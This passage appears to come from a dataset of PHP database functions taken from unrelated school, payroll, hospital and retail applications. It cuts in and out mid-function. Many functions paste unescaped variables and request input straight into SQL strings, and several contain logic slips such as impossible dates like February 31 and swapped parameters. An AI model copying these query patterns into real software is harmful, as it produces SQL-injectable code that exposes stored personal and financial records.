bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_septiembre,\";\n }\n if($mes == 10 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-10-01' AND '$anio-10-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 10\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_octubre,\";\n }\n if($mes == 11 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-11-01' AND '$anio-11-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 11\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_noviembre,\";\n }\n if($mes == 12 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-12-01' AND '$anio-12-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 12\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_diciembre,\";\n }\n ///---pagos---///\n if($mes == 1 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-01-01 00:00:00' AND '$anio-01-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 1\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_enero,\";\n }\n if($mes == 2 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-02-01 00:00:00' AND '$anio-02-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 2\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_febrero,\";\n }\n if($mes == 3 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-03-01 00:00:00' AND '$anio-03-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 3\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_marzo,\";\n }\n if($mes == 4 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-04-01 00:00:00' AND '$anio-04-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 4\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_abril,\";\n }\n if($mes == 5 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-05-01 00:00:00' AND '$anio-05-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 5\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_mayo,\";\n }\n if($mes == 6 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-06-01 00:00:00' AND '$anio-06-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 6\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_junio,\";\n }\n if($mes == 7 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-07-01 00:00:00' AND '$anio-07-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 7\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_julio,\";\n }\n if($mes == 8 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-08-01 00:00:00' AND '$anio-08-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 8\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_agosto,\";\n }\n if($mes == 9 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-09-01 00:00:00' AND '$anio-09-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 9\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_septiembre,\";\n }\n if($mes == 10 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-10-01 00:00:00' AND '$anio-10-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 10\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_octubre,\";\n }\n if($mes == 11 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-11-01 00:00:00' AND '$anio-11-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 11\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_noviembre,\";\n }\n if($mes == 12 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-12-01 00:00:00' AND '$anio-12-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 12\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_diciembre,\";\n }\n //--\n $sql = substr($sql, 0, -1); //limpia la ultima coma de los subquerys\n //--\n $sql.= \" FROM academ_grado, academ_secciones, academ_seccion_alumno, app_alumnos\";\n $sql.= \" WHERE sec_pensum = gra_pensum\";\n $sql.= \" AND sec_nivel = gra_nivel\";\n $sql.= \" AND sec_grado = gra_codigo\";\n $sql.= \" AND seca_pensum = sec_pensum\";\n $sql.= \" AND seca_nivel = sec_nivel\";\n $sql.= \" AND seca_grado = sec_grado\";\n $sql.= \" AND seca_seccion = sec_codigo\";\n $sql.= \" AND seca_alumno = alu_cui\";\n $sql.= \" AND alu_situacion != 2\";\n if(strlen($pensum)>0) {\n $sql.= \" AND seca_pensum = $pensum\";\n }\n if(strlen($nivel)>0) {\n $sql.= \" AND seca_nivel = $nivel\";\n }\n if(strlen($grado)>0) {\n $sql.= \" AND seca_grado = $grado\";\n }\n if(strlen($seccion)>0) {\n $sql.= \" AND seca_seccion = $seccion\";\n }\n $sql.= \" ORDER BY seca_nivel ASC, seca_grado ASC, sec_codigo ASC, alu_apellido ASC, alu_nombre ASC\";\n\n $result = $this->exec_query($sql);\n //echo $sql.\"<br><br>\";\n return $result;\n }", "function get_uraian($kode, $level)\n{\n switch ($level) {\n case 5:\n $where = \"\";\n break;\n case 4:\n $where = \" and SubSub is null\";\n break;\n case 3:\n $where = \" and sub is null and SubSub is null\";\n break;\n case 2:\n $where = \" and kelompok is null and sub is null and SubSub is null\";\n break;\n case 1:\n $where = \" and bidang is null and kelompok is null and sub is null and SubSub is null\";\n break;\n\n default:\n break;\n }\n $query = \"select Uraian from kelompok where Kode like '$kode%' $where limit 1\";\n $result = mysql_query ($query) or die(mysql_error());\n while ($row = mysql_fetch_array ($result)) {\n $Uraian = $row[ Uraian ];\n }\n return $Uraian;\n}", "public function getBiayaCuti ($tahun,$idsmt,$idkelas) {\n $str = \"SELECT biaya FROM kombi_per_ta WHERE idkombi=12 AND tahun=$tahun AND idsmt=$idsmt AND idkelas='$idkelas'\";\t\t\t\t\t\t\n\t\t$this->db->setFieldTable(array('biaya'));\n\t\t$result=$this->db->getRecord($str);\n\t\tif (isset($result[1])) {\n\t\t\treturn $result[1]['biaya'];\t\n\t\t}else {\n\t\t\treturn 0;\n\t\t} \t\t\t\n\t}", "function getTunjTetapAwal($conn) {\n $sql = \"select kodetunjangan,namatunjangan from \" . static::table('ms_tunjangan') . \" where isbayargaji = 'T' and isaktif = 'Y' order by kodetunjangan\";\n $a_jtunjawal = Query::arrQuery($conn, $sql);\n\n return $a_jtunjawal;\n }", "function get_sorted($bulan = NULL, $tahun = NULL, $bangsal = NULL) {\n $this->db->order_by($this->id, $this->order);\n $this->db->where('tahun', $tahun);\n\t\t$this->db->where('bangsal', $bangsal);\n\t\t$this->db->where('bulanw', $bulan);\n return $this->db->get($this->table)->result();\n }", "function selectAluByTurdisc($turma,$disc){\n\t\t$link = openDb();\n\t\t$sql =\"SELECT alu_matricula, alu_nome, not_valor, not_trime, disc_nome, turma.tur_id FROM (((notas n INNER JOIN aluno a ON n.alu_id=a.alu_id) INNER JOIN disciplina ds ON ds.disc_id=n.disc_id AND ds.disc_id = '$disc') INNER JOIN turma ON turma.tur_id=n.tur_id AND n.tur_id='$turma')\";\n\t\tmysqli_set_charset($link,\"utf8\");\n\t\t$query = $link -> query($sql);\n\t\t$_SESSION['nTuplas'] = mysqli_num_rows($query)/3;\n\t\t$retorno = array();\n\t\t$x \t =0;\n\t\t$y \t =0;\n\t\t$cont=1;\n\t\twhile ($result=mysqli_fetch_array($query)) {\n\t\t\tif ($cont==1) {\n\t\t\t\t$retorno[$x][$y]=$result['alu_matricula'];\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['alu_nome'];\n\t\t\t\t/*$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['disc_nome'];*/\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['not_valor'];\n\t\t\t}\n\t\t\tif ($cont==2) {\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['not_valor'];\n\t\t\t}\n\t\t\tif ($cont==3) {\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['not_valor'];\n\t\t\t\t$y+=1;\n\t\t\t\t//if(!$retorno[$x][2] == NULL && !$retorno[$x][3] == NULL && !$retorno[$x][4] == NULL){\n\t\t\t\t\t$retorno[$x][$y]=arredonda(($retorno[$x][2]+$retorno[$x][3]+$retorno[$x][4])/3);\n\t\t\t\t/*}else{\n\t\t\t\t\t$retorno[$x][$y] = NULL;\n\t\t\t\t}*/\n\t\t\t\t$x+=1;\n\t\t\t\t$y=0;\n\t\t\t\t$cont=0;\n\t\t\t}\n\t\t\t$cont+=1;\n\t\t}\n\t\t$link -> close();\n\t\treturn $retorno;\n\t}", "function get_tanggungjawab()\n\t{\n\t\t$sj = $this->get_id_jabatan();\n\t\t$query = sprintf(\"select * from frm_isian_10_tanggungjawab where kode_jabatan='%s' and kode_instansi='%s'\", $sj['kode'], $sj['kode_instansi']);\n\t\tif($this->input->get('query'))\n\t\t{\n\t\t\t$where = \" and tanggungjawab like '%\".$this->input->get('query').\"%'\";\n\t\t\t$query .= $where;\n\t\t}\n\t\t$query .= \" order by tanggungjawab asc\";\n\t\t$rs = $this->db->query($query);\n\t\t$data = $rs->result_array();\n\t\techo json_encode(array('total'=>count($data), 'data'=>$data));\n\t}", "protected function getUbigeo ($abrvubg=false, $abrvcat=false, $idcat=false)\n {\n\n // Tablas validas para Ubigeo\n $tblsUbg = array('dpto'=>'departamento', 'prov'=>'provincia', 'dist'=>'distrito');\n //var_dump($tblsUbg[0]); exit;\n // nombre de tabla a consultar\n $tblUbg = ($abrvubg && key_exists($abrvubg, $tblsUbg)) ? $tblsUbg[$abrvubg] : false;\n $tblCat = ($abrvcat && key_exists($abrvcat, $tblsUbg)) ? $tblsUbg[$abrvcat] : false;\n\n $resTbl = array(); // Resultado\n\n if ($tblUbg) {\n $db = $this->db;\n $db = $db::connection(DB_SETTINGS_NAME); // 'db_casa_local_oniees'\n\n ///$query = $db->table($cat)->where('activo','=','1');\n $query = $db->table($tblUbg)->select(\"*\");\n if ($idcat && $tblCat) { $query->where(\"{$tblCat}_id\",'=',$idcat); }//->toSql()\n //var_dump($query->toSql()); exit;\n $resTbl = $query->get()->all();\n }\n return $resTbl;\n }", "function jmlTunjSabtuAhad($conn, $r_periode, $r_periodetarif, $r_pegawai) {\n\t\t$i_tunj = \"'T00004','T00015','T00019','T00001','T00017','T00018','T00020','T00021'\";\n $sql = \"select coalesce(sum(g.nominal),0) from \" . static::table('ga_tunjanganpeg') . \" g\n\t\t\t\twhere g.periodegaji = '$r_periode' and g.periodetarif = '$r_periodetarif' and g.idpegawai = $r_pegawai and g.kodetunjangan in ($i_tunj)\";\n\n $jml = $conn->GetOne($sql);\n\n return $jml;\n }", "function get_ranking_kegiatan($keg_bulan,$keg_tahun,$jenis_nilai) {\n\t$keg_rangking='';\n\t$db_keg = new db();\n\t$conn_keg = $db_keg->connect();\n\t$sql_keg= $conn_keg\t-> query(\"select keg_t_unitkerja, sum(keg_target.keg_t_point_waktu) as point_waktu, sum(keg_target.keg_t_point_jumlah) as point_jumlah, sum(keg_target.keg_t_point) as point_total, avg(keg_target.keg_t_point) as point_rata from keg_target,kegiatan where kegiatan.keg_id=keg_target.keg_id and month(kegiatan.keg_end)='$keg_bulan' and year(kegiatan.keg_end)='$keg_tahun' and keg_target.keg_t_target>0 group by keg_t_unitkerja order by point_rata desc, point_total desc\");\n\t$cek_keg=$sql_keg->num_rows;\n\tif ($cek_keg>0) {\n\t\t$data_rangking[]='';\n\t\twhile ($k=$sql_keg->fetch_object()) {\n\t\t\tif ($jenis_nilai==1) {\n\t\t\t\t$data_rangking[]=number_format($k->point_jumlah,2,\".\",\",\");\n\t\t\t}\n\t\t\telseif ($jenis_nilai==2) {\n\t\t\t\t$data_rangking[]=number_format($k->point_waktu,2,\".\",\",\");\n\t\t\t}\n\t\t\telseif ($jenis_nilai==3) {\n\t\t\t\t$data_rangking[]=number_format($k->point_total,2,\".\",\",\");\n\t\t\t}\n\t\t\telseif ($jenis_nilai==4) {\n\t\t\t\t$data_rangking[]=number_format($k->point_rata,4,\".\",\",\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$data_rangking[]='';\n\t\t\t}\n\t\t}\n\t\t$keg_rangking=$data_rangking;\n\t}\n\telse {\n\t\t$keg_rangking='';\n\t}\n\treturn $keg_rangking;\n\t$conn_keg->close();\n}", "function cargar_cuenta_banco($buscar='') {\n if($buscar==''){\n $sql = \"SELECT id_plan_contable,cuenta_plan_contable,descripcion_plan_contable,cargar_plan_contable,abonar_plan_contable,transferencia_plan_contable FROM prosic_plan_contable ORDER BY cuenta_plan_contable\";\n }else{\n $sql = \"SELECT id_plan_contable,cuenta_plan_contable,descripcion_plan_contable,cargar_plan_contable,abonar_plan_contable,transferencia_plan_contable FROM prosic_plan_contable WHERE cuenta_plan_contable LIKE '\".$buscar.\"%' ORDER BY cuenta_plan_contable\";\n }\n \n $result = $this->Consulta_Mysql($sql);\n return $result;\n }", "function get_all_m_jadwal_praktek_antrian($jadwal_praktek_fk)\n {\n $where ='';\n if ($jadwal_praktek_fk!=0) {\n $where = \"AND a.jadwal_praktek_fk='$jadwal_praktek_fk'\";\n }\n $this->db->query(\" SELECT *,a.pk as id,b.nama as pasien,c.id_session_jadwal, d.metode_bayar\n FROM m_jadwal_praktek_antrian a\n LEFT JOIN m_kontak b on a.pasien_fk = b.pk\n LEFT JOIN m_jadwal_praktek c on a.jadwal_praktek_fk = c.pk \n\t\t\t\t\t\t\t\t LEFT JOIN m_metode_pembayaran d on a.metode_pembayaran_fk = d.pk\n WHERE 1=1 $where ORDER BY jadwal_praktek_fk,nomor_urut asc\")->result_array();\n\n\n /*$this->db->get('m_jadwal_praktek_antrian')->result_array();*/\n }", "function cariDataBarang_pr1($nmbarang=\"\") {\n\t\t$grid = new GridConnector($this->db->conn_id);\n $grid->render_sql(\"select a.id,a.idgroup_barang,a.nmbarang,b.nmjenis from v_master_barang_detail a left join ref_jenis_barang b on a.idjns_item = b.idjenis where a.is_active = '1' and a.sts_jual = '1' and a.nmbarang like '%\".$nmbarang.\"%' group by a.idgroup_barang\",\"id\",\"idgroup_barang,nmbarang,nmjenis\");\n\t}", "public function getMerk() {\r\n $sql = $this->db->query(\"SELECT * FROM ms_car_merk ORDER BY merk_deskripsi\");\r\n if ($sql->num_rows() > 0) {\r\n return $sql->result_array();\r\n }\r\n return null;\r\n }", "public function belum_terbayar($where){\n\t\t// return $data->result_array();\n\t\t$this->db->select('*');\n\t\t$this->db->from('detail_beli');\n\t\t$this->db->join('pembelian','detail_beli.id_beli=pembelian.id_beli','left');\n\t\t$this->db->join('produk','detail_beli.id_produk=produk.id_produk','left');\n\t\t$this->db->where('pembelian.status_pembelian=\"belum terbayar\"');\n\t\t$this->db->where($where);\n\t\treturn $this->db->get()->result_array();\n\t}", "function ventasBrutas($fi, $ff){\n $data2=array();\n $this->query= \"SELECT * FROM CLIE03 WHERE TIPO_EMPRESA = 'M'\";\n $rs=$this->EjecutaQuerySimple();\n while($tsarray=ibase_fetch_object($rs)){\n $data[]=$tsarray;\n }\n $facutras = 0;\n foreach ($data as $clie) {\n $cliente = $clie->CLAVE;\n\n $this->query=\"SELECT CLAVE, nombre,\n (select iif( (sum(importe)is null or sum(importe) = 0), 0 , sum(importe) / 1.16) as fact from cuen_m03 where fecha_apli between '$fi' and '$ff' and tipo_mov = 'C' and num_cpto = 1 and trim(cve_clie) = trim('$cliente') ) as Facturas,\n (select iif( (sum(importe)is null or sum(importe) = 0), 0 , sum(importe) / 1.16) as ncs from cuen_det03 where fecha_apli between '$fi' and '$ff' and tipo_mov = 'C' and num_cpto =16 and trim(cve_clie) = trim('$cliente') ) as imptNC, \n (select iif( (sum(importe)is null or sum(importe) = 0), 0 , sum(importe) / 1.16) as cnp from cuen_det03 where fecha_apli between '$fi' and '$ff' and tipo_mov = 'A' and num_cpto >= 23 and trim(cve_clie) = trim('$cliente')) as AbonosNoPagos\n from Clie03\n where trim(clave) = trim('$cliente')\";\n //echo $this->query.'<p>';\n\n \n $rs2=$this->EjecutaQuerySimple();\n while($tsarray= ibase_fetch_object($rs2)){\n $data2[]=$tsarray;\n }\n }\n\n\n\n return $data2;\n }", "public function get_berita($ofset,$limit,$seo_judul = null,$id = null,$status = null,$kategori = null)\n\t{\n\t\tif($seo_judul != null){\n\t\t\t$sql = \"call add_berita_baca(?)\";\n\t\t\t$this->db->query($sql,array($seo_judul));\n\t\t}\n\t\t$this->db->select('a.*,ifnull(b.nama_kategori,\"Unknown Category\") as nama_kategori,ifnull(b.kategori_seo,\"unknown-category\") as kategori_seo,sha1(a.id_berita) as ref');\n\t\t$this->db->from($this->berita_table.' a');\n\t\t$this->db->join($this->kategori_table.' b','on a.id_kategori = b.id_kategori','left');\n\t\t$this->db->limit($limit,$ofset);\n\t\tif($status != null){\n\t\t\t$this->db->where(array(\"status\"=>$status));\n\t\t}\n\t\tif($seo_judul != null){\n\t\t\t$this->db->where(array(\"a.judul_seo\"=>$seo_judul));\n\t\t}\n\t\tif($id != null){\n\t\t\t$this->db->where(array(\"a.id_berita\"=>$id));\n\t\t}\n\t\tif($kategori != null){\n\t\t\t$this->db->where(array(\"a.id_kategori\"=>$kategori));\n\t\t}\n\t\t$this->db->order_by('a.tanggal','desc');\n\t\treturn $this->db->get()->result();\n\t}", "function search_index_laporan( $bulan = NULL, $tahun = NULL, $bangsal = NULL, $jenis = NULL) {\n $this->db->order_by($this->id, $this->order);\n\t\t$this->db->join('ppi_tb_infeksi', 'ppi_tb_infeksi.id_infeksi = ppi_tb_nilai.id_infeksi');\n $this->db->where('ppi_tb_nilai.bulan', $tahun);\n\t\t$this->db->where('ppi_tb_nilai.tahun', $bangsal);\n\t\t$this->db->where('ppi_tb_nilai.bangsal', $bulan);\n\t\t$this->db->where('ppi_tb_infeksi.id_infeksi', $jenis);\n return $this->db->get($this->table)->result();\n }", "public function getBobotKriteria()\n {\n $query =$this->db->query(\"SELECT * FROM tb_kriteria ORDER BY id_kriteria\");\n \n $criteria = array();\n foreach ($query->result_array() as $row) {\n \n $criteria[$row['id_kriteria']] = $row['weight'];\n\n }\n \n return $criteria;\n }", "public function nahrajObrazkyVyhledavac($textHledani){\t\t\t\n\t\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE filepath LIKE \".'\"%' . $textHledani.'%\"';\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During data upload an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\techo $obrazekID;\n\t\t\t\techo $filePath;\n\t\t\t\techo $uzivatelID;\n\t\t\t\t*/\n\t\t\t\t//echo '*'.$jmenoUzivateleCoNahral.'*';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\t\n\t\t\t\t//echo $obrazek->filePath;\n\t\t\t\t//echo $obrazek->jmenoUzivateleCoNahral;\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$obrazek); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "private function proses_npde_pasca2($a, $unit) {\n\t\textract($a);\n\t\t\n\t\t// cari di rbm, dapatkan idnya lalu masukkan ke rincian\n\t\t$rbm = substr($koduk, 0, 7);\n\t\t$urut = substr($koduk, 7, 5);\n\t\t$urut = intval($urut);\n\t\t\n\t\t$run = $this->db->query(\"SELECT `ID_RBM` FROM `rbm` WHERE `NAMA_RBM` = '$rbm'\", TRUE);\n\t\t\n\t\tif (empty($run->ID_RBM)) {\n\t\t\t$ins = $this->db->query(\"INSERT INTO `rbm` VALUES(0, '0', '$unit', '$rbm','1')\");\n\t\t\t$idrbm = $this->db->get_insert_id();\n\t\t} else $idrbm = $run->ID_RBM;\n\t\t\n\t\t$run = $this->db->query(\"SELECT `ID_RINCIAN_RBM` FROM `rincian_rbm` WHERE `ID_PELANGGAN` = '$idpel' AND `ID_RBM` = '$idrbm'\", TRUE);\n\t\tif (empty($run->ID_RINCIAN_RBM))\n\t\t\t$ins = $this->db->query(\"INSERT INTO `rincian_rbm` VALUES(0, '$idpel', '$idrbm', '$urut')\");\n\t\t\n\t\t$run = $this->db->query(\"SELECT `ID_KODEPROSES`, `DAYA_PELANGGAN`, `FAKTORKWH_PELANGGAN`, `KODUK_PELANGGAN`, `FAKTORKVAR_PELANGGAN` FROM `pelanggan` WHERE `ID_PELANGGAN` = '$idpel'\", TRUE);\n\t\t\t\n\t\t$id_blth = $this->get_id_blth($blth);\n\t\t$id_blth = $id_blth - 1;\n\t\t$klp = trim($klp);\n\t\t$kodeproses = $this->get_id_kodeproses($klp);\n\t\t$tarif = trim($tarif);\n\t\t$daya = floatval($daya);\n\t\t$fm = floatval($fm);\n\t\t$fk = floatval($fkvar);\n\t\t\n\t\t// db escape\n\t\t$nm = $this->db->escape_str($nm);\n\t\t$alm = $this->db->escape_str($alm);\n\t\t$koduk = $this->db->escape_str($koduk);\n\t\t\n\t\tif (empty($run)) {\n\t\t\t$ins = $this->db->query(\"INSERT INTO `pelanggan` VALUES('$idpel', '$kodeproses', '1', '$nm', '$tarif', '$ktarif', '$daya', '$alm', '$koduk', '', '', '$fm', '$fk', '1')\");\n\t\t\t\n\t\t} else {\n\t\t\t$upd = array();\n\t\t\tif ($run->ID_KODEPROSES != $kodeproses) $upd[] = \"`ID_KODEPROSES` = '$kodeproses'\";\n\t\t\tif ($run->DAYA_PELANGGAN != $daya) $upd[] = \"`DAYA_PELANGGAN` = '$daya'\";\n\t\t\tif ($run->KODUK_PELANGGAN != $koduk) $upd[] = \"`KODUK_PELANGGAN` = '$koduk'\";\n\t\t\tif ($run->FAKTORKWH_PELANGGAN != $fm) $upd[] = \"`FAKTORKWH_PELANGGAN` = '$fm'\";\n\t\t\tif ($run->FAKTORKVAR_PELANGGAN != $fk) $upd[] = \"`FAKTORKVAR_PELANGGAN` = '$fk'\";\n\t\t\t$upd[] = \"`STATUS_PELANGGAN` = '1'\";\n\t\t\t$u = 